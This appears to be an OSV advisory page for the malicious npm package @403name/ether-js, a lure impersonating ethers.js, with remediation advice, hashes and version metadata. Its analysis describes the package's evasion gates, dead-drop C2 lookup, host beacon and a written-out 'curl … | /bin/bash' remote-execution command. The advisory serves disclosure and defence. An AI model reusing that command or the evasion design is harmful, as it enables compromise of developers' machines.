MAL-2026-5548

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@403name/ether-js/MAL-2026-5548.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5548
Aliases
  • GHSA-qgxg-2j6w-jmpx
Published
2026-06-11T03:14:52Z
Modified
2026-08-05T06:35:04.805549875Z
Summary
Malicious code in @403name/ether-js (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (927758f43d6eaa6514273bd8ab8f3559624055b9bbf8c9ef9a190b645c0a6eef)

On require('@403name/ether-js'), index.js runs an IIFE that targets macOS only (returns early on non-darwin and when CI/GITHUB_ACTIONS env vars are set), writes a one-shot marker at ~/.cache/.nyx-npm/e, waits a randomized 30-90s, then fetches a C2 base URL from https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt. It beacons the installer's USER env var and os.hostname() to <c2>/api/clickfix-callback via curl, then spawns '/bin/sh -c' with curl -sSfL <c2>/api/payload/ | /bin/bash (detached, disowned) — full remote code execution on the developer's machine under attacker control. A Russian-language comment in the source explicitly states the design avoids lifecycle scripts to be 'invisible to npm audit'. The package name and description impersonate the popular ethers.js library ('Compatible with ethers.js API patterns for easy migration'), and the shipped keccak256 is a stub returning random hex rather than a real hash — confirming the package is a lure, not a functional library. The evasion pattern (platform gate, CI gate, randomized delay, one-shot marker) combined with the two-stage dead-drop-to-C2 fetch-and-exec is conclusive malicious intent.

Source: ghsa-malware (01cbc06c0802020b88469f79d13c63c9055bb69ab5af00739b04b8b43c0502b5)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-005447",
            "import_time": "2026-06-11T03:48:52.53109909Z",
            "sha256": "1b8b80784e81444c1b77d58f0b521b3ddb96f91d634bce1f91a0ff6b2f2547de",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T03:14:52Z"
        },
        {
            "import_time": "2026-06-11T03:48:52.872397817Z",
            "id": "IN-MAL-2026-005450",
            "sha256": "927758f43d6eaa6514273bd8ab8f3559624055b9bbf8c9ef9a190b645c0a6eef",
            "modified_time": "2026-06-11T03:15:08Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "id": "GHSA-qgxg-2j6w-jmpx",
            "import_time": "2026-07-27T09:43:03.834690691Z",
            "sha256": "01cbc06c0802020b88469f79d13c63c9055bb69ab5af00739b04b8b43c0502b5",
            "modified_time": "2026-07-27T01:31:41Z",
            "source": "ghsa-malware"
        },
        {
            "import_time": "2026-08-05T06:00:27.846565736Z",
            "id": "IN-MAL-2026-012988",
            "sha256": "604a60757f5021d1b89d0d832aa3d8ebc1bf3fd5da42ecb33609beaf0e9c5d47",
            "modified_time": "2026-08-05T05:17:48Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @403name/ether-js

Package

Name
@403name/ether-js
View open source insights on deps.dev
Purl
pkg:npm/%40403name/ether-js

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1
1.0.2

Database specific

cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "index.js",
            "tlsh": "7991a5c8bae77060ba261171462fb41525eef0b302cccd68b56cd1066fe5b289b79df4",
            "sha256": "fe52919155d4cbef5d801975f9daefa3a2881c12b53b75fccf424422a2d83678"
        },
        {
            "path": "package.json",
            "tlsh": "c4014ca1c6251ca31bdc2dd95e597241b252480749447c1973c7c02e8b8f69f52fe78c",
            "sha256": "875e76bd156ecad8b3b5e88720d3ef0ca1c0312482d8a49e1db235c7ed0e1f14"
        }
    ],
    "package_integrity": [
        {
            "filename": "ether-js-1.0.1.tgz",
            "hashes": {
                "sha1": "335802d372117cd58855351dacbb13641c0e2fda",
                "sha512_sri": "sha512-i6hyQS+8GnwaNIUjfFWlI4ztOM7m3wv+d3ial+hhI4lc1aFTC5Q7BY1NPfW3rM8l0sedMR5cOrM/vdHR4v4gFw=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@403name/ether-js/MAL-2026-5548.json"